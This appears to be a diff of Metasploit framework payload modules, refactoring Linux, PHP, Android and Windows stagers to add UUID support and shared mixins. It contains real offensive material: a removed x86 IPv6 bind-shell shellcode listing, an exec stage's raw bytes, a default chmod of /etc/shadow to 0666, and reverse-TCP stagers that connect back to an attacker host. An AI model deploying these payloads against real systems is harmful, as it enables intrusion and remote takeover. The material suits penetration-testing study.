||||
user = datastore['USER'] || 'metasploit'
|
||||
pass = datastore['PASS'] || 'metasploit'
|
||||
shell = datastore['SHELL'] || '/bin/sh'
|
||||
|
|
|
@ -34,7 +34,7 @@ module Metasploit3
|
|||
end
|
||||
|
||||
# Dynamically generates chmod(FILE, MODE) + exit()
|
||||
def generate_stage
|
||||
def generate_stage(opts={})
|
||||
file = datastore['FILE'] || '/etc/shadow'
|
||||
mode = (datastore['MODE'] || "0666").oct
|
||||
|
||||
|
|
|
@ -39,7 +39,7 @@ module Metasploit3
|
|||
#
|
||||
# Dynamically builds the exec payload based on the user's options.
|
||||
#
|
||||
def generate_stage
|
||||
def generate_stage(opts={})
|
||||
cmd = datastore['CMD'] || ''
|
||||
payload =
|
||||
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68" +
|
||||
|
|
|
@ -30,7 +30,7 @@ module Metasploit3
|
|||
], self.class)
|
||||
end
|
||||
|
||||
def generate_stage
|
||||
def generate_stage(opts={})
|
||||
fd = datastore['FD']
|
||||
|
||||
payload_data =<<-EOS
|
||||
|
|
|
@ -44,7 +44,7 @@ module Metasploit3
|
|||
#
|
||||
# Dynamically builds the exec payload based on the user's options.
|
||||
#
|
||||
def generate_stage
|
||||
def generate_stage(opts={})
|
||||
bsd_x86_exec_payload
|
||||
end
|
||||
end
|
||||
|
|
|
@ -5,15 +5,17 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/php/reverse_tcp'
|
||||
require 'msf/base/sessions/meterpreter_php'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
|
||||
|
||||
module Metasploit3
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 24643
|
||||
CachedSize = 25679
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Php::ReverseTcp
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -33,11 +35,14 @@ module Metasploit3
|
|||
met = File.open(file, "rb") {|f|
|
||||
f.read(f.stat.size)
|
||||
}
|
||||
|
||||
met.gsub!("127.0.0.1", datastore['LHOST']) if datastore['LHOST']
|
||||
met.gsub!("4444", datastore['LPORT'].to_s) if datastore['LPORT']
|
||||
|
||||
# remove comments and compress whitespace to make it smaller and a
|
||||
# bit harder to analyze
|
||||
uuid = generate_payload_uuid
|
||||
bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('')
|
||||
met = met.sub("\"PAYLOAD_UUID\", \"\"", "\"PAYLOAD_UUID\", \"#{bytes}\"")
|
||||
|
||||
met.gsub!(/#.*$/, '')
|
||||
met = Rex::Text.compress(met)
|
||||
met
|
||||
|
|
|
@ -44,12 +44,7 @@ module Metasploit4
|
|||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X86
|
||||
)
|
||||
end
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
|
|
|
@ -44,12 +44,7 @@ module Metasploit4
|
|||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X86
|
||||
)
|
||||
end
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
|
|
|
@ -44,12 +44,7 @@ module Metasploit4
|
|||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X86
|
||||
)
|
||||
end
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
|
|
|
@ -45,12 +45,7 @@ module Metasploit4
|
|||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X86
|
||||
)
|
||||
end
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
|
|
|
@ -44,12 +44,7 @@ module Metasploit3
|
|||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X86
|
||||
)
|
||||
end
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
|
|
|
@ -44,12 +44,7 @@ module Metasploit4
|
|||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X64
|
||||
)
|
||||
end
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
|
|
|
@ -44,12 +44,7 @@ module Metasploit4
|
|||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X64
|
||||
)
|
||||
end
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
|
|
|
@ -44,12 +44,7 @@ module Metasploit4
|
|||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X64
|
||||
)
|
||||
end
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
|
|
|
@ -45,12 +45,7 @@ module Metasploit4
|
|||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X64
|
||||
)
|
||||
end
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
|
|
|
@ -44,12 +44,7 @@ module Metasploit4
|
|||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X64
|
||||
)
|
||||
end
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
|
|
|
@ -5,6 +5,7 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_http'
|
||||
require 'msf/core/payload/uuid/options'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
|
@ -12,6 +13,7 @@ module Metasploit3
|
|||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Dalvik
|
||||
include Msf::Payload::UUID::Options
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
|
@ -24,31 +26,32 @@ module Metasploit3
|
|||
'Handler' => Msf::Handler::ReverseHttp,
|
||||
'Stager' => {'Payload' => ""}
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate_jar(opts={})
|
||||
host = datastore['LHOST'] ? datastore['LHOST'].to_s : String.new
|
||||
port = datastore['LPORT'] ? datastore['LPORT'].to_s : 8443.to_s
|
||||
raise ArgumentError, "LHOST can be 32 bytes long at the most" if host.length + port.length + 1 > 32
|
||||
# Default URL length is 30-256 bytes
|
||||
uri_req_len = 30 + rand(256-30)
|
||||
# Generate the short default URL if we don't know available space
|
||||
if self.available_space.nil?
|
||||
uri_req_len = 5
|
||||
end
|
||||
|
||||
lurl = "ZZZZhttp://#{datastore["LHOST"]}"
|
||||
lurl << ":#{datastore["LPORT"]}" if datastore["LPORT"]
|
||||
lurl << "/"
|
||||
lurl << generate_uri_uuid_mode(:init_java, uri_req_len)
|
||||
|
||||
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
|
||||
string_sub(classes, 'ZZZZ' + ' ' * 512, lurl)
|
||||
apply_options(classes)
|
||||
|
||||
jar = Rex::Zip::Jar.new
|
||||
|
||||
classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
|
||||
string_sub(classes, 'ZZZZ ', "ZZZZhttp://" + host + ":" + port)
|
||||
string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount']
|
||||
jar.add_file("classes.dex", fix_dex_header(classes))
|
||||
|
||||
files = [
|
||||
[ "AndroidManifest.xml" ],
|
||||
[ "resources.arsc" ]
|
||||
]
|
||||
|
||||
jar.add_files(files, File.join(Msf::Config.install_root, "data", "android", "apk"))
|
||||
jar.add_files(files, MetasploitPayloads.path("android", "apk"))
|
||||
jar.build_manifest
|
||||
|
||||
cert, key = generate_cert
|
||||
|
|
|
@ -5,6 +5,7 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
require 'msf/core/payload/uuid/options'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
|
@ -12,6 +13,7 @@ module Metasploit3
|
|||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Dalvik
|
||||
include Msf::Payload::UUID::Options
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
|
@ -24,31 +26,40 @@ module Metasploit3
|
|||
'Handler' => Msf::Handler::ReverseHttps,
|
||||
'Stager' => {'Payload' => ""}
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate_jar(opts={})
|
||||
host = datastore['LHOST'] ? datastore['LHOST'].to_s : String.new
|
||||
port = datastore['LPORT'] ? datastore['LPORT'].to_s : 8443.to_s
|
||||
raise ArgumentError, "LHOST can be 32 bytes long at the most" if host.length + port.length + 1 > 32
|
||||
# Default URL length is 30-256 bytes
|
||||
uri_req_len = 30 + rand(256-30)
|
||||
# Generate the short default URL if we don't know available space
|
||||
if self.available_space.nil?
|
||||
uri_req_len = 5
|
||||
end
|
||||
|
||||
lurl = "ZZZZhttps://#{datastore["LHOST"]}"
|
||||
lurl << ":#{datastore["LPORT"]}" if datastore["LPORT"]
|
||||
lurl << "/"
|
||||
lurl << generate_uri_uuid_mode(:init_java, uri_req_len)
|
||||
|
||||
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
|
||||
string_sub(classes, 'ZZZZ' + ' ' * 512, lurl)
|
||||
|
||||
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
||||
datastore['HandlerSSLCert'])
|
||||
if verify_cert_hash
|
||||
hash = 'WWWW' + verify_cert_hash.unpack("H*").first
|
||||
string_sub(classes, 'WWWW ', hash)
|
||||
end
|
||||
|
||||
apply_options(classes)
|
||||
|
||||
jar = Rex::Zip::Jar.new
|
||||
|
||||
classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
|
||||
string_sub(classes, 'ZZZZ ', "ZZZZhttps://" + host + ":" + port)
|
||||
string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount']
|
||||
jar.add_file("classes.dex", fix_dex_header(classes))
|
||||
|
||||
files = [
|
||||
[ "AndroidManifest.xml" ],
|
||||
[ "resources.arsc" ]
|
||||
]
|
||||
|
||||
jar.add_files(files, File.join(Msf::Config.install_root, "data", "android", "apk"))
|
||||
jar.add_files(files, MetasploitPayloads.path("android", "apk"))
|
||||
jar.build_manifest
|
||||
|
||||
cert, key = generate_cert
|
||||
|
|
|
@ -26,21 +26,21 @@ module Metasploit3
|
|||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Stager' => {'Payload' => ""}
|
||||
))
|
||||
end
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10])
|
||||
], self.class)
|
||||
def include_send_uuid
|
||||
false
|
||||
end
|
||||
|
||||
def generate_jar(opts={})
|
||||
jar = Rex::Zip::Jar.new
|
||||
|
||||
classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
|
||||
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
|
||||
|
||||
string_sub(classes, 'XXXX127.0.0.1 ', "XXXX" + datastore['LHOST'].to_s) if datastore['LHOST']
|
||||
string_sub(classes, 'YYYY4444 ', "YYYY" + datastore['LPORT'].to_s) if datastore['LPORT']
|
||||
string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount']
|
||||
apply_options(classes)
|
||||
|
||||
jar.add_file("classes.dex", fix_dex_header(classes))
|
||||
|
||||
files = [
|
||||
|
@ -48,7 +48,7 @@ module Metasploit3
|
|||
[ "resources.arsc" ]
|
||||
]
|
||||
|
||||
jar.add_files(files, File.join(Msf::Config.data_directory, "android", "apk"))
|
||||
jar.add_files(files, MetasploitPayloads.path("android", "apk"))
|
||||
jar.build_manifest
|
||||
|
||||
cert, key = generate_cert
|
||||
|
|
|
@ -5,7 +5,7 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
require 'msf/core/payload/uuid_options'
|
||||
require 'msf/core/payload/uuid/options'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
|
@ -13,7 +13,7 @@ module Metasploit3
|
|||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Java
|
||||
include Msf::Payload::UUIDOptions
|
||||
include Msf::Payload::UUID::Options
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
|
|
|
@ -41,6 +41,10 @@ module Metasploit3
|
|||
@class_files = [ ]
|
||||
end
|
||||
|
||||
def include_send_uuid
|
||||
false
|
||||
end
|
||||
|
||||
def config
|
||||
spawn = datastore["Spawn"] || 2
|
||||
c = ""
|
||||
|
|
|
@ -5,83 +5,35 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/core/payload/linux/bind_tcp'
|
||||
|
||||
# Linux Bind TCP/IPv6 Stager
|
||||
module Metasploit3
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 85
|
||||
CachedSize = 120
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Linux
|
||||
include Msf::Payload::Linux::BindTcp
|
||||
|
||||
def self.handler_type_alias
|
||||
"bind_ipv6_tcp"
|
||||
'bind_ipv6_tcp'
|
||||
end
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Bind TCP Stager (IPv6)',
|
||||
'Description' => 'Listen for a connection over IPv6',
|
||||
'Author' => [
|
||||
'kris katterjohn', # original
|
||||
'egypt', # NX support
|
||||
],
|
||||
'Name' => 'Bind IPv6 TCP Stager (Linux x86)',
|
||||
'Description' => 'Listen for an IPv6 connection (Linux x86)',
|
||||
'Author' => [ 'kris katterjohn', 'egypt' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Stager' => {
|
||||
'Offsets' => { 'LPORT' => [ 0x18, 'n' ] },
|
||||
'Payload' =>
|
||||
|
||||
"\x6a\x7d" +# push byte +0x7d
|
||||
"\x58" +# pop eax
|
||||
"\x99" +# cdq
|
||||
"\xb2\x07" +# mov dl,0x7
|
||||
"\xb9\x00\x10\x00\x00" +# mov ecx,0x1000
|
||||
"\x89\xe3" +# mov ebx,esp
|
||||
"\x66\x81\xe3\x00\xf0" +# and bx,0xf000
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x31\xdb" +# xor ebx,ebx
|
||||
"\xf7\xe3" +# mul ebx
|
||||
"\x53" +# push ebx
|
||||
"\x43" +# inc ebx
|
||||
"\x53" +# push ebx
|
||||
"\x6a\x0a" +# push byte +0xa
|
||||
"\x89\xe1" +# mov ecx,esp
|
||||
"\xb0\x66" +# mov al,0x66
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x43" +# inc ebx
|
||||
"\x52" +# push edx
|
||||
"\x52" +# push edx
|
||||
"\x52" +# push edx
|
||||
"\x52" +# push edx
|
||||
"\x52" +# push edx
|
||||
"\x52" +# push edx
|
||||
"\x68\x0a\x00\xbf\xbf" +# push dword 0xbfbf000a
|
||||
"\x89\xe1" +# mov ecx,esp
|
||||
"\x6a\x1c" +# push byte +0x1c
|
||||
"\x51" +# push ecx
|
||||
"\x50" +# push eax
|
||||
"\x89\xe1" +# mov ecx,esp
|
||||
"\x6a\x66" +# push byte +0x66
|
||||
"\x58" +# pop eax
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\xd1\xe3" +# shl ebx,1
|
||||
"\xb0\x66" +# mov al,0x66
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x43" +# inc ebx
|
||||
"\xb0\x66" +# mov al,0x66
|
||||
"\x89\x51\x04" +# mov [ecx+0x4],edx
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x93" +# xchg eax,ebx
|
||||
"\xb6\x0c" +# mov dh,0xc
|
||||
"\xb0\x03" +# mov al,0x3
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x89\xdf" +# mov edi,ebx
|
||||
"\xff\xe1" # jmp ecx
|
||||
|
||||
}
|
||||
'Convention' => 'sockedi',
|
||||
'Stager' => { 'RequiresMidstager' => true }
|
||||
))
|
||||
end
|
||||
|
||||
def use_ipv6
|
||||
true
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,43 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/core/payload/linux/bind_tcp'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 165
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Linux::BindTcp
|
||||
|
||||
def self.handler_type_alias
|
||||
'bind_ipv6_tcp_uuid'
|
||||
end
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Bind IPv6 TCP Stager with UUID Support (Linux x86)',
|
||||
'Description' => 'Listen for an IPv6 connection with UUID Support (Linux x86)',
|
||||
'Author' => [ 'kris katterjohn', 'egypt', 'OJ Reeves' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Convention' => 'sockedi',
|
||||
'Stager' => { 'RequiresMidstager' => true }
|
||||
))
|
||||
end
|
||||
|
||||
def use_ipv6
|
||||
true
|
||||
end
|
||||
|
||||
def include_send_uuid
|
||||
true
|
||||
end
|
||||
|
||||
end
|
|
@ -3,7 +3,6 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/core/payload/linux/bind_tcp'
|
||||
|
|
|
@ -0,0 +1,43 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/core/payload/linux/bind_tcp'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 155
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Linux::BindTcp
|
||||
|
||||
def self.handler_type_alias
|
||||
'bind_tcp_uuid'
|
||||
end
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Bind TCP Stager with UUID Support (Linux x86)',
|
||||
'Description' => 'Listen for a connection with UUID Support (Linux x86)',
|
||||
'Author' => [ 'skape', 'egypt', 'OJ Reeves' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Convention' => 'sockedi',
|
||||
'Stager' => { 'RequiresMidstager' => true }
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Override the uuid function and opt-in for sending the
|
||||
# UUID in the stage.
|
||||
#
|
||||
def include_send_uuid
|
||||
true
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,43 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/linux/reverse_tcp'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 236
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Linux::ReverseTcp
|
||||
|
||||
def self.handler_type_alias
|
||||
'reverse_tcp_uuid'
|
||||
end
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Reverse TCP Stager',
|
||||
'Description' => 'Connect back to the attacker',
|
||||
'Author' => [ 'skape', 'egypt', 'OJ Reeves' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Stager' => { 'Payload' => '' }
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Override the uuid function and opt-in for sending the
|
||||
# UUID in the stage.
|
||||
#
|
||||
def include_send_uuid
|
||||
true
|
||||
end
|
||||
|
||||
end
|
|
@ -4,15 +4,15 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/php'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/core/payload/php/bind_tcp'
|
||||
|
||||
module Metasploit3
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 1418
|
||||
CachedSize = 1183
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Php
|
||||
include Msf::Payload::Php::BindTcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
|
@ -26,18 +26,5 @@ module Metasploit3
|
|||
'Stager' => { 'Payload' => "" }
|
||||
))
|
||||
end
|
||||
def generate
|
||||
bind = File.read(File.join(Msf::Config::InstallRoot, 'data', 'php', 'bind_tcp.php'))
|
||||
bind.gsub!("4444", "#{datastore["LPORT"]}")
|
||||
|
||||
return super + bind
|
||||
end
|
||||
|
||||
#
|
||||
# PHP's read functions suck, make sure they know exactly how much data to
|
||||
# grab by sending a length.
|
||||
#
|
||||
def handle_intermediate_stage(conn, payload)
|
||||
conn.put([payload.length].pack("N"))
|
||||
end
|
||||
end
|
||||
|
|
|
@ -4,15 +4,15 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/php'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/core/payload/php/bind_tcp'
|
||||
|
||||
module Metasploit3
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 1350
|
||||
CachedSize = 1182
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Php
|
||||
include Msf::Payload::Php::BindTcp
|
||||
|
||||
def self.handler_type_alias
|
||||
"bind_tcp_ipv6"
|
||||
|
@ -30,24 +30,9 @@ module Metasploit3
|
|||
'Stager' => { 'Payload' => "" }
|
||||
))
|
||||
end
|
||||
def generate
|
||||
if (datastore['LPORT'] and not datastore['LPORT'].empty?)
|
||||
lport = datastore['LPORT']
|
||||
else
|
||||
lport = '4444'
|
||||
|
||||
def use_ipv6
|
||||
true
|
||||
end
|
||||
|
||||
bind = File.read(File.join(Msf::Config::InstallRoot, 'data', 'php', 'bind_tcp_ipv6.php'))
|
||||
bind.gsub!("4444", lport)
|
||||
|
||||
return super + bind
|
||||
end
|
||||
|
||||
#
|
||||
# PHP's read functions suck, make sure they know exactly how much data to
|
||||
# grab by sending a length.
|
||||
#
|
||||
def handle_intermediate_stage(conn, payload)
|
||||
conn.put([payload.length].pack("N"))
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,42 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/core/payload/php/bind_tcp'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 1356
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Php::BindTcp
|
||||
|
||||
def self.handler_type_alias
|
||||
"bind_tcp_ipv6_uuid"
|
||||
end
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Bind TCP Stager IPv6 with UUID Support',
|
||||
'Description' => 'Listen for a connection over IPv6 with UUID Support',
|
||||
'Author' => [ 'egypt', 'OJ Reeves' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Stager' => { 'Payload' => "" }
|
||||
))
|
||||
end
|
||||
|
||||
def use_ipv6
|
||||
true
|
||||
end
|
||||
|
||||
def include_send_uuid
|
||||
true
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,38 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/core/payload/php/bind_tcp'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 1357
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Php::BindTcp
|
||||
|
||||
def self.handler_type_alias
|
||||
"bind_tcp_uuid"
|
||||
end
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Bind TCP Stager with UUID Support',
|
||||
'Description' => 'Listen for a connection with UUID Support',
|
||||
'Author' => [ 'egypt', 'OJ Reeves' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Stager' => { 'Payload' => "" }
|
||||
))
|
||||
end
|
||||
|
||||
def include_send_uuid
|
||||
true
|
||||
end
|
||||
|
||||
end
|
|
@ -4,17 +4,15 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/php'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
require 'msf/core/payload/php/reverse_tcp'
|
||||
|
||||
module Metasploit3
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 1303
|
||||
CachedSize = 931
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Php
|
||||
include Msf::Payload::Php::ReverseTcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
|
@ -29,25 +27,4 @@ module Metasploit3
|
|||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
reverse = File.read(File.join(Msf::Config::InstallRoot, 'data', 'php', 'reverse_tcp.php'))
|
||||
reverse.gsub!("127.0.0.1", "#{datastore["LHOST"]}")
|
||||
reverse.gsub!("4444", "#{datastore["LPORT"]}")
|
||||
#reverse.gsub!(/#.*$/, '')
|
||||
#reverse = Rex::Text.compress(reverse)
|
||||
|
||||
return super + reverse
|
||||
end
|
||||
|
||||
#
|
||||
# PHP's read functions suck, make sure they know exactly how much data to
|
||||
# grab by sending a length.
|
||||
#
|
||||
def handle_intermediate_stage(conn, payload)
|
||||
conn.put([payload.length].pack("N"))
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,38 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/php/reverse_tcp'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 1105
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Php::ReverseTcp
|
||||
|
||||
def self.handler_type_alias
|
||||
"reverse_tcp_uuid"
|
||||
end
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'PHP Reverse TCP Stager',
|
||||
'Description' => 'Reverse PHP connect back stager with checks for disabled functions',
|
||||
'Author' => [ 'egypt', 'OJ Reeves' ],
|
||||
